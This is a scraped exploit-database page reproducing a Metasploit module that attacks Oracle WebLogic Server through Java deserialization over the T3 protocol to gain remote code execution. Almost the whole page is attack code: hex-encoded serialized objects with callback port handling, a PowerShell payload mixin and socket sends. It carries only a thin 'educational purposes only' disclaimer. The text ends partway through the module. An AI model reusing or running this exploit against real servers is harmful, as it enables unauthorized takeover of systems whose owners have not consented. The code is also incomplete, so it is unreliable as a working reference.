Oracle weblogic server deserialization rce raw object (metasploit) Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2019-03-28 |
Type : remote |
Platform : multiple
This exploit / vulnerability Oracle weblogic server deserialization rce raw object (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
#include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
=begin This check is currently incompatible with the Tcp mixin. :-(
def check
resp = send_request_cgi(
'method' => 'GET',
'uri' => '/console/login/LoginForm.jsp'
)
unless resp.body.include?('Oracle WebLogic Server Administration Console')
vprint_warning("Oracle WebLogic Server banner cannot be found")
return CheckCode::Unknown
end
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
unless version
vprint_warning("Oracle WebLogic Server version cannot be found")
return CheckCode::Unknown
end
version = Gem::Version.new(version)
vprint_good("Detected Oracle WebLogic Server Version: #{version}")
case
when version.to_s.start_with?('10.3')
return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')
when version.to_s.start_with?('12.1.2')
return CheckCode::Appears unless version > Gem::Version.new('12.1.2.0')
when version.to_s.start_with?('12.1.3')
return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')
when version.to_s.start_with?('12.2')
return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0')
end
def build_t3_request_object
# T3 request serialized data
# retrieved by watching network traffic
# This is a proprietary, undocumented protocol
# TODO: Cite a source for the dissection of in the following 14 lines:
data = '000005c3' # lenght of the packet
data << '01' # CMD_IDENTIFY_REQUEST
data << '65' # QOS
data << '01' # Flags:
# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
# CONTEXT_TX_FLAG = 2
# CONTEXT_TRACE_FLAG = 4
# CONTEXT_EXTENDED_FLAG = 8
# CONTEXT_EXTENDED_USER_FLAG = 16
data << 'ffffffff' # response id
data << 'ffffffff' # invocable id
data << '0000006a' # abbrev offset
data << '0000ea60' # reconnect timeout ??
data << '0000001900937b484a'
data << '56fa4a777666f581daa4f5b90e2aebfc607499'
data << 'b4027973720078720178720278700000000a00'
data << '00000300000000000000060070707070707000'
data << '00000a000000030000000000000006007006'
data << 'fe010000' # ----- separator -----
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72001d' # className (29 bytes):
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
data << '5461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c00007870' # remainder of object header
data << '72' # object header
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
data << '65726e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71007e0003' # (Handle) 0x007e0003
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71007e0003' # (Handle) 0x007e0003
data << '78707702000078' # block footers
data << 'fe010000' # ----- separator -----
data << 'aced0005' # JSO v5 header
data << '7372' # object header
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
data << '735461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '00007870' # remainder of object header
data << '72' # object header
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
data << '972245516452463e' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0003' # fieldCount = 3
data << '5b0008' # array header (8 bytes)
data << '7061636b61676573' # ARRAY NAME = 'packages'
data << '740027' # TC_STRING className1 (39 bytes)
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
data << '3b' # (continued)
data << '4c000e' # object header (14 bytes)
data << '72656c6561736556657273696f6e' # releaseVersion
data << '740012' # TC_STRING (18 bytes)
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
data << '5b0012' # array header (18 bytes)
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
data << '740002' # TC_STRING (2 bytes)
data << '5b42' # 0x5b42 = [B
data << '78' # block footer
data << '720024' # class (36 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
data << '7465726e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '78' # class footer
data << '70' # TC_NULL
data << '77020000' # BLOCKDATA (2 bytes): 0x0000
data << '78' # block footer
data << 'fe010000' # ----- separator -----
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72001d' # className (29 bytes):
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
data << '5461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c00007870' # remainder of object header
data << '720021' # className (33 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
data << '65726e616c2e50656572496e666f' # (continued)
data << '585474f39bc908f1' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0006' # fieldCount = 6
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '5b00087061636b61676573' # 5: Array: packages
data << '740027' # TC_STRING (39 bytes)
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
data << '3b' # (continued)
data << '78' # block footer
data << '720024' # class header
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;
data << '65726e616c2e56657273696f6e496e666f' # (continued)
data << '972245516452463e' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0003' # fieldCount = 3
data << '5b0008' # 0: Array
data << '7061636b6167657371' # packages
data << '007e0003' # Handle = 0x00730003
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
data << '740002' # TC_STRING (2 bytes)
data << '5b42' # VALUE = 0x5b42 = [B
data << '78' # block footer
data << '720024' # class header
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
data << '6e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '78' # class footer
data << '707702000078' # block footers
data << 'fe00ff' # this cruft again. some kind of footer
data << 'fe010000' # ----- separator -----
# weblogic.rjvm.JVMID object
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '720013' # class header
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
data << 'dc49c23ede121e2a' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '0000' # fieldCount = 0 (!!!)
data << '78' # block footer
data << '70' # NULL
data << '7750' # block header (80 bytes)
data << '21' # !
data << '000000000000000000' # 9 NULL BYTES
data << '0d' # strLength = 13 bytes
#data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
# (must be an IP, and length isn't trivially editable)
data << '00' # \0
data << '12' # strLength = 18 bytes
#data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh
data << rand_text_alphanumeric(18).unpack('H*')[0]
data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)
data << '000000070000' # ??? UNKNOWN ???
data << rport.to_s(16).rjust(4, '0') # callback port
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???
data << 'ffffffffff' # ??? UNKNOWN ???
data << '78' # block footer
data << 'fe010000' # ----- separator -----
# weblogic.rjvm.JVMID object
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72' # class
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
data << 'dc49c23ede121e2a' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '0000' # fieldCount = 0
data << '78' # end block
data << '70' # TC_NULL
data << '77' # block header
data << '20' # length = 32 bytes
data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???
#data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)
data << '0d' # string length = 13 bytes (NOTE: do not edit)
#data << '3234322e3231342e312e323534' # original string = 242.214.1.254
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
# (must be an IP, and length isn't trivially editable)
#data << '61863d1d' # original string = ??? UNKNOWN ???
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized
data << '00000000' # NULL BYTES
data << '78' # block footer
sock.put([data].pack('H*'))
sleep(1)
sock.get_once
end
# basic weblogic ClassTableEntry object (serialized)
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'